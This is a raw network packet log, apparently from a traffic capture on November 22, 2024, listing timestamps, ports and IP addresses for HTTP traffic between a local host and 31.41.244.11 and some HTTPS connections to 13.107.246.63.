Nov 22, 2024 04:12:13.982940912 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.982995033 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.983037949 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.983777046 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.983827114 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.983864069 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.983906984 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.984648943 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.984698057 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.984735012 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.984774113 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.985536098 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.985586882 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.985616922 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.985656023 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.986424923 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.986527920 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.986530066 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.986599922 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.987306118 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.987360001 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.987397909 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.987437010 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.988177061 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.988228083 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.988289118 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.988332033 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.989078999 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.989130974 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.989171028 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.989213943 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.989953995 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.990065098 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.990196943 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.990196943 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.990837097 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.990886927 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.990938902 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.990981102 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.991723061 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.991771936 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.991827965 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.991873026 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.992603064 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.992652893 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.992722034 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.992760897 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.993489027 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.993535995 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.993603945 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.993644953 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.994371891 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.994448900 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.994482994 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.994545937 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.995254040 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.995296001 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.995367050 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.995407104 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.996182919 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.996225119 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.996263027 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.996300936 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.997042894 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.997081041 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.997178078 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.997215033 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.997912884 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.997951984 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.998035908 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.998075008 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.998801947 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.998841047 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.998903036 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.998944044 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.999685049 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.999725103 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:13.999785900 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:13.999823093 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.000575066 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.000631094 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.000634909 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.000673056 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.001046896 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.001104116 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.001137018 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.001177073 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.001914978 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.001960039 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.002032995 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.002080917 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.002794981 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.002837896 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.002897978 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.002939939 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.003684998 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.003727913 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.159132004 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.159194946 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.159336090 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.159378052 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.159534931 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.159573078 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.159646988 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.159686089 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.160442114 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.160496950 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.160581112 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.160618067 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.161317110 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.161356926 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.161436081 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.161475897 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.162184000 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.162224054 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.162295103 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.162333012 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.163064957 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.163106918 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.163172007 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.163209915 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.164108992 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.164149046 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.164216995 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.164258957 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.164845943 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.164885998 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.164957047 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.164995909 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.165694952 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.165735960 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.165824890 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.165863991 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.166573048 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.166615009 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.166673899 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.166712999 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.167475939 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.167514086 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.167582035 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.167618990 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.168343067 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.168381929 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.168438911 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.168476105 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.169258118 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.169297934 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.169361115 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.169399977 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.170113087 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.170152903 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.170229912 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.170269966 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.171008110 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.171065092 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.171130896 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.171168089 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.171895981 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.171932936 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.172003984 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.172041893 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.172774076 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.172813892 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.172880888 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.172919989 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.173672915 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.173712969 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.173787117 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.173830986 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.174520969 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.174577951 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.174623013 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.174663067 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.175425053 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.175466061 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.175498962 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.175535917 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.176285982 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.176327944 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.176490068 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.176527977 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.176784039 CET	443	49767	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:14.176945925 CET	443	49767	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:14.176995993 CET	49767	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:14.177222967 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.177261114 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.177407980 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.177447081 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.178061008 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.178105116 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.178143024 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.178181887 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.178369045 CET	443	49768	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:14.178428888 CET	443	49768	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:14.178478956 CET	49768	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:14.178986073 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.179029942 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.179063082 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.179107904 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.179841042 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.179881096 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.179936886 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.179977894 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.180727959 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.180767059 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.180807114 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.180845976 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.181590080 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.181629896 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.181688070 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.181726933 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.182480097 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.182521105 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.182563066 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.182600975 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.183389902 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.183430910 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.183505058 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.183541059 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.184252977 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.184294939 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.184391975 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.184427977 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.185340881 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.185379982 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.185451031 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.185487986 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.186022043 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.186060905 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.186125040 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.186163902 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.186899900 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.186939001 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.186976910 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.187014103 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.187800884 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.187839985 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.187891006 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.187927961 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.188676119 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.188716888 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.188821077 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.188859940 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.189667940 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.189707041 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.189919949 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.189958096 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.190445900 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.190485001 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.190555096 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.190594912 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.191320896 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.191379070 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.191417933 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.191457033 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.192215919 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.192265987 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.192331076 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.192368984 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.192569017 CET	49767	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:14.192569017 CET	49767	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:14.192608118 CET	443	49767	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:14.192631006 CET	443	49767	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:14.193120003 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.193170071 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.193207026 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.193247080 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.193986893 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.194047928 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.194087982 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.194134951 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.194864988 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.194905996 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.194961071 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.194998980 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.195750952 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.195791006 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.195848942 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.195883989 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.196640015 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.196677923 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.196772099 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.196811914 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.197535992 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.197576046 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.197612047 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.197649002 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.198409081 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.198445082 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.198518991 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.198553085 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.199294090 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.199328899 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.199399948 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.199436903 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.200179100 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.200221062 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.200265884 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.200304985 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.200452089 CET	49768	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:14.200483084 CET	443	49768	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:14.200511932 CET	49768	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:14.200527906 CET	443	49768	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:14.201072931 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.201108932 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.201210022 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.201251030 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.201975107 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.202012062 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.202089071 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.202193022 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.202580929 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.202616930 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.202678919 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.202716112 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.203469992 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.203511953 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.203582048 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.203622103 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.204339027 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.204375982 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.204444885 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.204485893 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.205244064 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:14.205281019 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:14.207014084 CET	49772	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:14.207046986 CET	443	49772	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:14.207101107 CET	49772	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:14.209364891 CET	49772	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:14.209379911 CET	443	49772	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:14.210846901 CET	49773	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:14.210926056 CET	443	49773	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:14.210987091 CET	49773	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:14.212161064 CET	49773	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:14.212213993 CET	443	49773	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:14.255485058 CET	443	49769	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:14.255575895 CET	443	49769	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:14.255723000 CET	49769	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:14.260101080 CET	49769	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:14.260149002 CET	443	49769	13.107.246.63	192.168.2.4
